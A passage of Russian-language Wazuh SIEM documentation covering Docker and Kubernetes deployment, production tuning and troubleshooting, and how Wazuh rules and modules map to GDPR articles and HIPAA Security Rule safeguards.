Базовый файл конфигурации можно извлечь из контейнера:

```bash
docker compose cp wazuh.manager:/var/ossec/etc/ossec.conf ./config/ossec.conf
```

### Пользовательские правила и декодеры

Смонтируйте каталоги с пользовательскими правилами:

```yaml
services:
  wazuh.manager:
    volumes:
      - ./config/rules/local_rules.xml:/var/ossec/etc/rules/local_rules.xml
      - ./config/decoders/local_decoder.xml:/var/ossec/etc/decoders/local_decoder.xml
```

Подробнее о создании правил - в разделе [возможности Wazuh](/docs/wazuh/capabilities/).

### Пользовательские интеграции

```yaml
services:
  wazuh.manager:
    volumes:
      - ./config/integrations/custom-integration.py:/var/ossec/integrations/custom-integration.py
```

После изменения конфигурации перезапустите менеджер:

```bash
docker compose restart wazuh.manager
```

## Обновление контейнеров

### Обновление минорной версии

1. Остановите текущий стек:

```bash
docker compose down
```

2. Обновите тег образа в `docker-compose.yml` или клонируйте новую версию репозитория:

```bash
cd ..
git fetch --tags
git checkout v4.14.3
```

3. Запустите стек с обновленными образами:

```bash
docker compose up -d
```

Данные в именованных томах сохраняются между обновлениями.

### Обновление мажорной версии

При обновлении мажорной версии (например, с 4.x на 5.x) необходимо:

1. Создать резервную копию всех томов
2. Ознакомиться с руководством по миграции в [официальной документации](https://documentation.wazuh.com/current/upgrade-guide/index.html)
3. Выполнить миграцию данных индексатора, если структура индексов изменилась

## Production-рекомендации

### Ресурсные лимиты

Задайте лимиты ресурсов в `docker-compose.yml` для предсказуемого поведения:

```yaml
services:
  wazuh.indexer:
    deploy:
      resources:
        limits:
          memory: 4G
          cpus: "2.0"
        reservations:
          memory: 2G
          cpus: "1.0"
```

### Настройка JVM Heap

Для индексатора рекомендуется выделить 50% доступной контейнеру памяти под JVM Heap:

```yaml
services:
  wazuh.indexer:
    environment:
      - OPENSEARCH_JAVA_OPTS=-Xms2g -Xmx2g
```

Не выделяйте более 32 ГБ - JVM теряет оптимизации сжатых указателей (Compressed OOPs) при превышении этого порога.

### Логирование

Настройте драйвер логирования Docker для ротации:

```yaml
services:
  wazuh.manager:
    logging:
      driver: json-file
      options:
        max-size: "50m"
        max-file: "10"
```

### Мониторинг

Добавьте healthcheck для всех сервисов, если они не определены:

```yaml
services:
  wazuh.indexer:
    healthcheck:
      test: ["CMD-SHELL", "curl -sk https://localhost:9200 -u admin:$${OPENSEARCH_INITIAL_ADMIN_PASSWORD} | grep -q 'wazuh-indexer'"]
      interval: 30s
      timeout: 10s
      retries: 5
```

### Сетевая безопасность

В production ограничьте доступ к портам через firewall. Не публикуйте порт 9200 (Indexer API) во внешнюю сеть - доступ к индексатору должен быть только из внутренней сети Docker или через Dashboard.

## Решение проблем

### Контейнер индексатора не запускается

**Симптомы:** контейнер перезапускается в цикле, в логах ошибка `max virtual memory areas vm.max_map_count [65530] is too low`.

**Решение:** увеличьте лимит на хостовой системе:

```bash
sudo sysctl -w vm.max_map_count=262144
```

Для сохранения после перезагрузки:

```bash
echo "vm.max_map_count=262144" | sudo tee -a /etc/sysctl.conf
```

### Ошибка сертификатов при запуске

**Симптомы:** в логах сообщение `ssl_exception` или `certificate_unknown`.

**Решение:**

1. Проверьте наличие сертификатов:

```bash
ls -la config/wazuh_indexer_ssl_certs/
```

2. Перегенерируйте сертификаты:

```bash
docker compose -f generate-indexer-certs.yml run --rm generator
```

3. Перезапустите стек:

```bash
docker compose down
docker compose up -d
```

### Dashboard показывает "Wazuh API is not reachable"

**Симптомы:** дашборд загружается, но отображает ошибку подключения к API.

**Решение:**

1. Проверьте состояние менеджера:

```bash
docker compose logs wazuh.manager | tail -50
```

2. Убедитесь, что API-пользователь и пароль в переменных окружения дашборда совпадают с настройками менеджера

3. Проверьте доступность API из контейнера дашборда:

```bash
docker compose exec wazuh.dashboard curl -sk -u wazuh-wui:MyS3cr37P450r.*- \
  https://wazuh.manager:55000/manager/info?pretty
```

### Агенты не подключаются

**Симптомы:** агенты на внешних хостах не могут зарегистрироваться.

**Решение:**

1. Убедитесь, что порты 1514 и 1515 опубликованы в `docker-compose.yml`:

```yaml
ports:
  - "1514:1514"
  - "1515:1515"
```

2. Проверьте firewall на хосте Docker

3. При регистрации агента указывайте IP-адрес хоста Docker, а не внутренний IP контейнера

### Высокое потребление дискового пространства

**Симптомы:** каталог `/var/lib/docker` быстро заполняется.

**Решение:**

1. Настройте ротацию индексов в индексаторе через ISM-политику
2. Настройте ротацию логов Docker (см. раздел [Логирование](#logirovanie))
3. Периодически очищайте неиспользуемые образы:

```bash
docker image prune -f
```

## Дополнительные материалы

- [Обзор вариантов развертывания](/docs/wazuh/deployment/)
- [Установка Wazuh - пошаговое руководство](/docs/wazuh/installation/)
- [Быстрый старт Wazuh](/docs/wazuh/installation/wazuh-quickstart/)
- [Официальный репозиторий wazuh-docker](https://github.com/wazuh/wazuh-docker)


---

# Wazuh в Kubernetes - развертывание в кластере

Source: https://opennix.org/docs/wazuh/deployment/wazuh-kubernetes-deployment/


Развертывание Wazuh в Kubernetes обеспечивает автоматическое восстановление компонентов, горизонтальное масштабирование и стандартизированные процедуры обновления. Wazuh предоставляет манифесты и Helm-чарты для развертывания всех центральных компонентов в кластере Kubernetes.

## Архитектура развертывания

Компоненты Wazuh в Kubernetes распределены по следующим типам ресурсов:

| Компонент | Тип ресурса | Реплик | Причина выбора |
|---|---|---|---|
| Wazuh Indexer | StatefulSet | 3 | Стабильные сетевые имена, персистентные тома |
| Wazuh Manager (master) | StatefulSet | 1 | Сохранение состояния, стабильный идентификатор |
| Wazuh Manager (worker) | StatefulSet | 1+ | Сохранение состояния, масштабирование |
| Wazuh Dashboard | Deployment | 1 | Stateless, горизонтальное масштабирование |
| Wazuh Agent | DaemonSet | По числу узлов | Автоматическое размещение на каждом узле |

## Предварительные требования

### Кластер Kubernetes

- Kubernetes 1.25 или выше
- kubectl настроен для доступа к кластеру
- Helm 3.x (при использовании Helm-чартов)
- StorageClass с поддержкой динамического provisioning (для PVC)
- Минимум 3 рабочих узла для production-развертывания

### Ресурсные требования

| Компонент | CPU (request/limit) | Memory (request/limit) |
|---|---|---|
| Indexer (на реплику) | 1000m / 2000m | 2Gi / 4Gi |
| Manager master | 500m / 1000m | 1Gi / 2Gi |
| Manager worker | 500m / 1000m | 1Gi / 2Gi |
| Dashboard | 250m / 500m | 512Mi / 1Gi |

## Развертывание с помощью манифестов

### Клонирование репозитория

```bash
git clone https://github.com/wazuh/wazuh-kubernetes.git -b v4.14.3
cd wazuh-kubernetes
```

### Создание namespace

```bash
kubectl create namespace wazuh
```

### Генерация сертификатов

Запустите скрипт генерации сертификатов:

```bash
cd wazuh/certs
./generate_certs.sh
```

Создайте Secret из сгенерированных сертификатов:

```bash
kubectl -n wazuh create secret generic indexer-certs \
  --from-file=root-ca.pem \
  --from-file=node.pem \
  --from-file=node-key.pem \
  --from-file=admin.pem \
  --from-file=admin-key.pem
```

Аналогично создайте секреты для менеджера и дашборда:

```bash
kubectl -n wazuh create secret generic manager-certs \
  --from-file=root-ca.pem \
  --from-file=manager.pem \
  --from-file=manager-key.pem

kubectl -n wazuh create secret generic dashboard-certs \
  --from-file=root-ca.pem \
  --from-file=dashboard.pem \
  --from-file=dashboard-key.pem
```

### Развертывание индексатора

```bash
kubectl apply -n wazuh -f wazuh/indexer/
```

Дождитесь готовности всех подов:

```bash
kubectl -n wazuh get pods -l app=wazuh-indexer -w
```

Проверьте состояние кластера:

```bash
kubectl -n wazuh exec -it wazuh-indexer-0 - \
  curl -sk -u admin:SecretPassword https://localhost:9200/_cluster/health?pretty
```

### Развертывание менеджера

```bash
kubectl apply -n wazuh -f wazuh/manager/
```

### Развертывание дашборда

```bash
kubectl apply -n wazuh -f wazuh/dashboard/
```

### Проверка развертывания

```bash
kubectl -n wazuh get all
```

Все поды должны быть в состоянии `Running`, а сервисы - иметь назначенные Endpoints.

## Развертывание с помощью Helm

### Добавление репозитория

```bash
helm repo add wazuh https://wazuh.github.io/wazuh-kubernetes
helm repo update
```

### Просмотр доступных параметров

```bash
helm show values wazuh/wazuh > values.yaml
```

### Установка чарта

```bash
helm install wazuh wazuh/wazuh \
  -n wazuh --create-namespace \
  -f values.yaml
```

### Основные параметры values.yaml

```yaml
indexer:
  replicas: 3
  resources:
    requests:
      cpu: 1000m
      memory: 2Gi
    limits:
      cpu: 2000m
      memory: 4Gi
  persistence:
    size: 50Gi
    storageClass: gp3

manager:
  master:
    replicas: 1
    resources:
      requests:
        cpu: 500m
        memory: 1Gi
  worker:
    replicas: 1
    resources:
      requests:
        cpu: 500m
        memory: 1Gi
  persistence:
    size: 20Gi

dashboard:
  replicas: 1
  resources:
    requests:
      cpu: 250m
      memory: 512Mi
  service:
    type: LoadBalancer
```

## Persistent Volumes

### Требования к хранилищу

StatefulSets создают PersistentVolumeClaim (PVC) для каждой реплики автоматически. Убедитесь, что в кластере настроен StorageClass с динамическим provisioning.

### Проверка PVC

```bash
kubectl -n wazuh get pvc
```

### Рекомендации по StorageClass

| Облачная платформа | StorageClass | Тип |
|---|---|---|
| AWS | gp3 | EBS |
| GCP | standard-rwo | Persistent Disk |
| Azure | managed-premium | Managed Disk |
| On-premises | local-path / nfs | Локальный / NFS |

Для production рекомендуется использование SSD-хранилищ с IOPS не менее 3000 для узлов индексатора.

### Резервное копирование

Для резервного копирования данных индексатора используйте snapshot API OpenSearch:

```bash
kubectl -n wazuh exec -it wazuh-indexer-0 - \
  curl -sk -u admin:SecretPassword \
  -X PUT "https://localhost:9200/_snapshot/backup" \
  -H "Content-Type: application/json" \
  -d '{"type":"fs","settings":{"location":"/mnt/snapshots"}}'
```

Каталог `/mnt/snapshots` должен быть смонтирован как дополнительный том, доступный всем узлам индексатора.

## TLS-конфигурация

### Взаимодействие между компонентами

Все коммуникации между компонентами Wazuh защищены TLS. Сертификаты хранятся в Kubernetes Secrets и монтируются в поды.

### Использование cert-manager

Для автоматического управления сертификатами можно использовать cert-manager:

```yaml
apiVersion: cert-manager.io/v1
kind: Certificate
metadata:
  name: wazuh-indexer-cert
  namespace: wazuh
spec:
  secretName: wazuh-indexer-tls
  issuerRef:
    name: ca-issuer
    kind: ClusterIssuer
  commonName: wazuh-indexer
  dnsNames:
    - wazuh-indexer
    - wazuh-indexer-0.wazuh-indexer
    - wazuh-indexer-1.wazuh-indexer
    - wazuh-indexer-2.wazuh-indexer
  usages:
    - digital signature
    - key encipherment
    - server auth
    - client auth
```

### Внешний доступ через Ingress

Для доступа к дашборду через Ingress:

```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: wazuh-dashboard
  namespace: wazuh
  annotations:
    nginx.ingress.kubernetes.io/ssl-passthrough: "true"
    nginx.ingress.kubernetes.io/backend-protocol: "HTTPS"
spec:
  ingressClassName: nginx
  rules:
    - host: wazuh.example.com
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: wazuh-dashboard
                port:
                  number: 443
  tls:
    - hosts:
        - wazuh.example.com
      secretName: wazuh-dashboard-tls
```

## Ресурсные лимиты и автомасштабирование

### Задание ресурсных лимитов

Все компоненты должны иметь заданные requests и limits:

```yaml
resources:
  requests:
    cpu: 1000m
    memory: 2Gi
  limits:
    cpu: 2000m
    memory: 4Gi
```

### HorizontalPodAutoscaler

Dashboard и worker-менеджеры поддерживают горизонтальное масштабирование:

```yaml
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
  name: wazuh-dashboard-hpa
  namespace: wazuh
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: wazuh-dashboard
  minReplicas: 1
  maxReplicas: 3
  metrics:
    - type: Resource
      resource:
        name: cpu
        target:
          type: Utilization
          averageUtilization: 70
```

Индексатор не масштабируется автоматически - изменение числа узлов кластера OpenSearch требует ручного вмешательства для перераспределения шардов.

## DaemonSet для агентов

Для мониторинга узлов Kubernetes разверните агентов как DaemonSet:

```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: wazuh-agent
  namespace: wazuh
spec:
  selector:
    matchLabels:
      app: wazuh-agent
  template:
    metadata:
      labels:
        app: wazuh-agent
    spec:
      containers:
        - name: wazuh-agent
          image: wazuh/wazuh-agent:4.14.3
          env:
            - name: WAZUH_MANAGER
              value: "wazuh-manager-master-0.wazuh-manager-master"
            - name: WAZUH_AGENT_GROUP
              value: "kubernetes"
          volumeMounts:
            - name: host-root
              mountPath: /host
              readOnly: true
            - name: host-var-log
              mountPath: /var/log
              readOnly: true
          securityContext:
            privileged: true
      volumes:
        - name: host-root
          hostPath:
            path: /
        - name: host-var-log
          hostPath:
            path: /var/log
      tolerations:
        - operator: Exists
      hostNetwork: true
      hostPID: true
```

### Исключение узлов

Для исключения определенных узлов из мониторинга используйте nodeSelector или affinity:

```yaml
spec:
  template:
    spec:
      nodeSelector:
        wazuh-agent: "enabled"
```

## Масштабирование

### Масштабирование индексатора

Увеличение числа реплик индексатора требует обновления StatefulSet и перераспределения шардов:

```bash
kubectl -n wazuh scale statefulset wazuh-indexer --replicas=5
```

После добавления узлов проверьте распределение шардов:

```bash
kubectl -n wazuh exec -it wazuh-indexer-0 - \
  curl -sk -u admin:SecretPassword \
  https://localhost:9200/_cat/allocation?v
```

### Масштабирование менеджера

Добавление worker-узлов менеджера:

```bash
kubectl -n wazuh scale statefulset wazuh-manager-worker --replicas=3
```

Master-узел не масштабируется - в кластере Wazuh может быть только один master.

## Решение проблем

### Поды индексатора в состоянии CrashLoopBackOff

**Симптомы:** поды индексатора постоянно перезапускаются.

**Решение:**

1. Проверьте логи пода:

```bash
kubectl -n wazuh logs wazuh-indexer-0 --previous
```

2. Если ошибка связана с `vm.max_map_count`, настройте параметр на всех рабочих узлах:

```bash
sysctl -w vm.max_map_count=262144
```

Или используйте init-контейнер:

```yaml
initContainers:
  - name: sysctl
    image: busybox
    command: ["sysctl", "-w", "vm.max_map_count=262144"]
    securityContext:
      privileged: true
```

3. Проверьте доступность StorageClass и состояние PVC:

```bash
kubectl -n wazuh get pvc
kubectl -n wazuh describe pvc wazuh-indexer-data-wazuh-indexer-0
```

### Менеджер не видит индексатор

**Симптомы:** менеджер запускается, но Filebeat не может отправить данные в индексатор.

**Решение:**

1. Проверьте DNS-разрешение внутри пода менеджера:

```bash
kubectl -n wazuh exec -it wazuh-manager-master-0 - \
  nslookup wazuh-indexer
```

2. Проверьте доступность индексатора:

```bash
kubectl -n wazuh exec -it wazuh-manager-master-0 - \
  curl -sk https://wazuh-indexer:9200
```

3. Убедитесь, что сертификаты менеджера и индексатора подписаны одним CA

### PVC в состоянии Pending

**Симптомы:** PVC не привязывается к PV.

**Решение:**

1. Проверьте наличие StorageClass:

```bash
kubectl get storageclass
```

2. Убедитесь, что provisioner работает:

```bash
kubectl get pods -n kube-system | grep provisioner
```

3. Проверьте события PVC:

```bash
kubectl -n wazuh describe pvc <pvc-name>
```

### Агенты не подключаются к менеджеру

**Симптомы:** DaemonSet-агенты запущены, но не регистрируются на менеджере.

**Решение:**

1. Проверьте переменную `WAZUH_MANAGER` в конфигурации DaemonSet - она должна указывать на headless-сервис или конкретный под мастера

2. Проверьте сетевые политики:

```bash
kubectl -n wazuh get networkpolicy
```

3. Убедитесь, что порты 1514 и 1515 доступны между подами агентов и менеджера

## Дополнительные материалы

- [Обзор вариантов развертывания](/docs/wazuh/deployment/)
- [Развертывание Wazuh в Docker](/docs/wazuh/deployment/wazuh-docker-deployment/)
- [Установка Wazuh](/docs/wazuh/installation/)
- [Официальный репозиторий wazuh-kubernetes](https://github.com/wazuh/wazuh-kubernetes)


---

# Wazuh и GDPR - маппинг статей и мониторинг данных

Source: https://opennix.org/docs/wazuh/compliance/wazuh-gdpr/


Wazuh обеспечивает поддержку технических требований Общего регламента по защите данных (GDPR) Европейского союза через мониторинг целостности файлов, обнаружение вторжений, анализ логов, оценку конфигурации и автоматическое реагирование. Стандартный набор правил содержит теги в формате `gdpr_ГЛАВА_Статья.Параграф`, позволяющие маппировать события безопасности на конкретные статьи регламента.

## Обзор GDPR

GDPR (General Data Protection Regulation) вступил в силу 25 мая 2018 года и устанавливает требования к обработке, хранению и защите персональных данных граждан Европейского союза. Регламент применяется к любой организации, обрабатывающей персональные данные субъектов ЕС, независимо от местоположения организации.

Wazuh адресует технические требования GDPR, связанные с обеспечением безопасности обработки данных, обнаружением утечек и ведением записей о деятельности по обработке.

## Маппинг статей GDPR на модули Wazuh

| Статья GDPR | Описание | Модуль Wazuh | Группа правил |
|---|---|---|---|
| Art. 5(1)(f) | Целостность и конфиденциальность данных | [FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) | `gdpr_II_5.1.f` |
| Art. 25 | Защита данных по умолчанию и при проектировании | [SCA](/docs/wazuh/capabilities/wazuh-sca/), FIM | `gdpr_IV_25.1` |
| Art. 30 | Записи о деятельности по обработке | [Анализ логов](/docs/wazuh/capabilities/wazuh-log-data-collection/) | `gdpr_IV_30.1.g` |
| Art. 32(1)(b) | Обеспечение конфиденциальности и целостности | FIM, анализ логов | `gdpr_IV_32.1.b` |
| Art. 32(1)(d) | Тестирование и оценка мер безопасности | [SCA](/docs/wazuh/capabilities/wazuh-sca/), [Vulnerability Detector](/docs/wazuh/capabilities/wazuh-vulnerability-detection/) | `gdpr_IV_32.1.d` |
| Art. 32(2) | Оценка рисков при обработке | Анализ логов, обнаружение угроз | `gdpr_IV_32.2` |
| Art. 33(1) | Уведомление надзорного органа об утечке | Алерты, [активное реагирование](/docs/wazuh/capabilities/wazuh-active-response/) | `gdpr_IV_33.1` |
| Art. 35(7)(d) | Оценка воздействия на защиту данных | SCA, анализ логов | `gdpr_IV_35.7.d` |

## Статья 5(1)(f) - целостность и конфиденциальность

Статья 5(1)(f) требует, чтобы персональные данные обрабатывались способом, обеспечивающим надлежащую безопасность, включая защиту от несанкционированной или незаконной обработки и от случайной потери, уничтожения или повреждения.

### Мониторинг целостности с помощью FIM

[Модуль FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) поддерживает криптографические контрольные суммы и атрибуты файлов, генерируя алерты при создании, модификации или удалении файлов.

Настройка мониторинга каталога с персональными данными:

```xml
<syscheck>
  <directories check_all="yes" whodata="yes" report_changes="yes">/var/data/personal</directories>
  <directories check_all="yes" whodata="yes">/var/data/customers</directories>
</syscheck>
```

При обнаружении изменений генерируются алерты с тегом `gdpr_II_5.1.f`:

- Правило 550 - изменение контрольной суммы файла
- Правило 554 - добавление нового файла в контролируемый каталог

### Пример алерта

```json
{
  "rule": {
    "id": "550",
    "level": 7,
    "description": "Integrity checksum changed.",
    "groups": ["ossec", "syscheck", "gdpr_II_5.1.f"]
  },
  "syscheck": {
    "path": "/var/data/personal/subjects.db",
    "changed_attributes": ["mtime", "md5", "sha1", "sha256"],
    "audit": {
      "user": { "name": "www-data" },
      "process": { "name": "python3" }
    }
  }
}
```

## Статья 25 - защита данных при проектировании

Статья 25 требует внедрения технических и организационных мер для обеспечения принципов защиты данных на этапе проектирования и по умолчанию.

Wazuh поддерживает это требование через:

- **[SCA](/docs/wazuh/capabilities/wazuh-sca/)** - проверка конфигурации систем на соответствие стандартам безопасности
- **FIM** - контроль изменений в конфигурационных файлах приложений
- **Анализ логов** - мониторинг доступа к системам обработки данных

Пример политики SCA для проверки настроек защиты данных:

```yaml
checks:
  - id: 20001
    title: "Ensure database encryption is enabled"
    compliance:
      - gdpr: ["IV_25.1"]
    condition: all
    rules:
      - 'f:/etc/mysql/mysql.conf.d/mysqld.cnf -> r:^\s*require_secure_transport\s*=\s*ON'
```

## Статья 30 - записи о деятельности по обработке

GDPR требует ведения записей о деятельности по обработке персональных данных. Wazuh обеспечивает это через централизованный [сбор и хранение логов](/docs/wazuh/capabilities/wazuh-log-data-collection/) с возможностью архивирования.

Для обеспечения полноты записей включите архивирование всех логов:

```xml
<ossec_config>
  <global>
    <logall_json>yes</logall_json>
  </global>
</ossec_config>
```

Это обеспечивает фиксацию всех событий, включая те, которые не вызвали срабатывания правил обнаружения.

## Статья 32 - безопасность обработки

### 32(1)(b) - конфиденциальность и целостность

Wazuh обеспечивает мониторинг конфиденциальности и целостности систем обработки данных через:

- Отслеживание несанкционированного доступа к файлам с персональными данными
- Мониторинг привилегированных операций на серверах баз данных
- Контроль изменений в конфигурации систем шифрования

### 32(1)(d) - тестирование мер безопасности

Для регулярной оценки эффективности мер безопасности используйте:

- **[SCA](/docs/wazuh/capabilities/wazuh-sca/)** - автоматическая проверка конфигурации
- **[Vulnerability Detector](/docs/wazuh/capabilities/wazuh-vulnerability-detection/)** - выявление уязвимостей в ПО
- **Анализ алертов** - обзор срабатываний правил безопасности

### 32(2) - оценка рисков

Wazuh помогает оценить риски, связанные с обработкой персональных данных, через:

- Классификацию алертов по уровням критичности (0-15)
- Маппинг на тактики и техники MITRE ATT&CK
- Статистический анализ инцидентов безопасности

## Статья 33 - уведомление об утечке данных

GDPR требует уведомления надзорного органа об утечке данных в течение 72 часов. Wazuh помогает обнаружить утечку и своевременно уведомить ответственных лиц.

### Настройка оповещений об утечке

Создайте пользовательские правила для обнаружения потенциальных утечек данных:

```xml
<rule id="100100" level="12">
  <if_sid>550</if_sid>
  <match>personal_data|customer_records|subjects</match>
  <description>Possible personal data breach: file modification detected in protected directory</description>
  <group>gdpr_IV_33.1,data_breach,</group>
</rule>

<rule id="100101" level="14">
  <if_sid>100100</if_sid>
  <frequency>5</frequency>
  <timeframe>300</timeframe>
  <description>Multiple personal data file modifications - potential data exfiltration</description>
  <group>gdpr_IV_33.1,data_breach,</group>
</rule>
```

### Интеграция с системами оповещения

Настройте [активное реагирование](/docs/wazuh/capabilities/wazuh-active-response/) для немедленного уведомления при обнаружении потенциальной утечки:

```xml
<integration>
  <name>slack</name>
  <level>12</level>
  <group>data_breach</group>
  <hook_url>https://hooks.slack.com/services/XXX/YYY/ZZZ</hook_url>
</integration>
```

## Статья 35 - оценка воздействия на защиту данных (DPIA)

Wazuh поддерживает проведение DPIA через предоставление данных о:

- Типах обрабатываемых событий безопасности
- Частоте и характере инцидентов
- Эффективности существующих контролей

Данные из дашборда Wazuh могут использоваться в качестве входных данных для процедуры оценки воздействия.

## Мониторинг доступа к персональным данным

Wazuh позволяет отслеживать доступ к персональным данным на нескольких уровнях:

### Файловый уровень

```xml
<syscheck>
  <directories check_all="yes" whodata="yes">/var/data/personal</directories>
  <directories check_all="yes" whodata="yes">/opt/app/uploads/documents</directories>
</syscheck>
```

### Уровень базы данных

Мониторинг логов СУБД для отслеживания запросов к таблицам с персональными данными:

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/mysql/audit.log</location>
</localfile>
```

### Уровень приложения

Сбор логов приложений, обрабатывающих персональные данные:

```xml
<localfile>
  <log_format>json</log_format>
  <location>/var/log/app/access.log</location>
</localfile>
```

## Группы правил GDPR

Wazuh использует формат `gdpr_ГЛАВА_Статья.Параграф` для тегирования правил. Получить список доступных тегов:

```bash
docker exec wazuh-manager grep -r "gdpr_" /var/ossec/ruleset/rules/ | \
  grep -oP 'gdpr_[A-Z]+_[\d.a-z]+' | sort -u
```

Основные группы:

| Группа | Статья |
|---|---|
| `gdpr_II_5.1.f` | Целостность и конфиденциальность |
| `gdpr_IV_25.1` | Защита данных при проектировании |
| `gdpr_IV_30.1.g` | Записи о деятельности по обработке |
| `gdpr_IV_32.1.b` | Конфиденциальность и целостность |
| `gdpr_IV_32.1.d` | Тестирование мер безопасности |
| `gdpr_IV_32.2` | Оценка рисков |
| `gdpr_IV_33.1` | Уведомление об утечке |
| `gdpr_IV_35.7.d` | Оценка воздействия (DPIA) |

## Модуль GDPR в дашборде

Wazuh Dashboard содержит модуль GDPR в разделе **Modules > Regulatory compliance > GDPR**. Модуль предоставляет:

- Обзор алертов по статьям GDPR
- Группировку алертов по главам (II, III, IV)
- Временную шкалу событий соответствия
- Детализацию по агентам

## Формирование отчетов GDPR

Для запроса алертов, связанных с GDPR, через API:

```bash
curl -sk -u admin:$WAZUH_ADMIN_PASS \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{
    "size": 0,
    "query": {
      "bool": {
        "must": [
          { "range": { "timestamp": { "gte": "now-30d" } } },
          { "exists": { "field": "rule.gdpr" } }
        ]
      }
    },
    "aggs": {
      "gdpr_articles": {
        "terms": { "field": "rule.gdpr", "size": 50 }
      }
    }
  }' | jq '.aggregations.gdpr_articles.buckets'
```

## Устранение неполадок

### Алерты GDPR не отображаются

1. Проверьте наличие тегов `gdpr_` в правилах
2. Убедитесь, что модуль GDPR активирован в дашборде
3. Проверьте корректность временного диапазона

### FIM не генерирует алерты для файлов с персональными данными

1. Убедитесь, что пути к каталогам указаны корректно в `<syscheck>`
2. Проверьте, что агент имеет права на чтение контролируемых каталогов
3. При использовании `whodata` убедитесь, что auditd установлен и работает

### Алерты об утечке не отправляются

1. Проверьте конфигурацию интеграции в `ossec.conf`
2. Убедитесь, что уровень правила соответствует порогу интеграции
3. Проверьте доступность webhook-URL


---

# Wazuh и HIPAA - защита электронной медицинской информации

Source: https://opennix.org/docs/wazuh/compliance/wazuh-hipaa/


Wazuh обеспечивает поддержку требований HIPAA (Health Insurance Portability and Accountability Act) через мониторинг целостности файлов, анализ логов, оценку конфигурации, обнаружение вредоносного ПО, выявление уязвимостей и автоматическое реагирование. Стандартный набор правил содержит предварительно размеченные теги `hipaa_XXX.XXX.X`, покрывающие требования Security Rule.

## Обзор HIPAA Security Rule

HIPAA Security Rule (Часть 164, Подчасть C) определяет стандарты безопасности для защиты электронной медицинской информации (ePHI - electronic Protected Health Information). Стандарт устанавливает три категории мер защиты:

- **Административные меры** - политики и процедуры управления безопасностью
- **Физические меры** - контроль физического доступа к системам с ePHI
- **Технические меры** - технологические средства защиты ePHI

Wazuh адресует преимущественно технические и административные меры защиты через свои модули мониторинга и анализа.

## Маппинг мер защиты HIPAA на модули Wazuh

### Административные меры защиты (Administrative Safeguards)

| Требование HIPAA | Описание | Модуль Wazuh | Группа правил |
|---|---|---|---|
| 164.308(a)(1)(i) | Процесс управления безопасностью | [Анализ логов](/docs/wazuh/capabilities/wazuh-log-data-collection/), [SCA](/docs/wazuh/capabilities/wazuh-sca/) | `hipaa_164.308.a.1` |
| 164.308(a)(1)(ii)(A) | Анализ рисков | [Vulnerability Detector](/docs/wazuh/capabilities/wazuh-vulnerability-detection/), анализ алертов | `hipaa_164.308.a.1` |
| 164.308(a)(3)(i) | Безопасность рабочей силы | Мониторинг доступа, анализ логов | `hipaa_164.308.a.3` |
| 164.308(a)(5)(i) | Обучение персонала по безопасности | Аудит действий пользователей | `hipaa_164.308.a.5` |
| 164.308(a)(6)(i) | Процедуры реагирования на инциденты | [Активное реагирование](/docs/wazuh/capabilities/wazuh-active-response/), алерты | `hipaa_164.308.a.6` |
| 164.308(a)(8) | Оценка соответствия | SCA, Vulnerability Detector | `hipaa_164.308.a.8` |

### Физические меры защиты (Physical Safeguards)

| Требование HIPAA | Описание | Модуль Wazuh | Группа правил |
|---|---|---|---|
| 164.310(a)(1) | Контроль доступа к помещениям | Анализ логов СКУД | `hipaa_164.310.a.1` |
| 164.310(b) | Контроль рабочих станций | [FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/), SCA | `hipaa_164.310.b` |
| 164.310(d)(1) | Контроль устройств и носителей | [Инвентаризация системы](/docs/wazuh/capabilities/wazuh-system-inventory/), FIM | `hipaa_164.310.d.1` |

### Технические меры защиты (Technical Safeguards)

| Требование HIPAA | Описание | Модуль Wazuh | Группа правил |
|---|---|---|---|
| 164.312(a)(1) | Контроль доступа | Анализ логов аутентификации | `hipaa_164.312.a.1` |
| 164.312(a)(2)(i) | Уникальная идентификация пользователей | Мониторинг учетных записей | `hipaa_164.312.a.2` |
| 164.312(a)(2)(iii) | Автоматическое завершение сессий | SCA, анализ логов | `hipaa_164.312.a.2` |
| 164.312(b) | Контроль аудита | [Анализ логов](/docs/wazuh/capabilities/wazuh-log-data-collection/) | `hipaa_164.312.b` |
| 164.312(c)(1) | Контроль целостности | [FIM](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/) | `hipaa_164.312.c.1` |
| 164.312(c)(2) | Механизмы аутентификации | Анализ логов, SCA | `hipaa_164.312.c.2` |
| 164.312(d) | Аутентификация лиц и сущностей | Мониторинг аутентификации | `hipaa_164.312.d` |
| 164.312(e)(1) | Безопасность передачи данных | SCA, анализ логов | `hipaa_164.312.e.1` |
| 164.312(e)(2)(i) | Контроль целостности при передаче | FIM, SCA | `hipaa_164.312.e.2` |

## Контроль доступа - 164.312(a)

Wazuh отслеживает события аутентификации и авторизации для обеспечения контроля доступа к системам с ePHI.

### Мониторинг аутентификации

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/auth.log</location>
</localfile>

<localfile>
  <log_format>eventchannel</log_format>
  <location>Security</location>
  <query>Event[System[(EventID=4624 or EventID=4625 or EventID=4634)]]</query>
</localfile>
```

Правила Wazuh автоматически классифицируют события аутентификации:

- Успешная аутентификация - уровень 3
- Неудачная попытка аутентификации - уровень 5
- Множественные неудачные попытки (brute force) - уровень 10

### Мониторинг привилегированного доступа

```xml
<rule id="100200" level="8">
  <if_sid>5715</if_sid>
  <user>root</user>
  <description>Root SSH login to ePHI system</description>
  <group>hipaa_164.312.a.1,hipaa_164.312.d,authentication_success,</group>
</rule>
```

## Контроль аудита - 164.312(b)

HIPAA требует внедрения аппаратных, программных и процедурных механизмов для записи и анализа действий в информационных системах, содержащих ePHI.

### Настройка аудита

Wazuh обеспечивает комплексный аудит через:

- **Централизованный сбор логов** - агент собирает логи со всех систем, содержащих ePHI
- **Анализ в реальном времени** - правила обнаружения обрабатывают события немедленно
- **Архивирование** - полное сохранение всех событий для ретроспективного анализа

```xml
<ossec_config>
  <global>
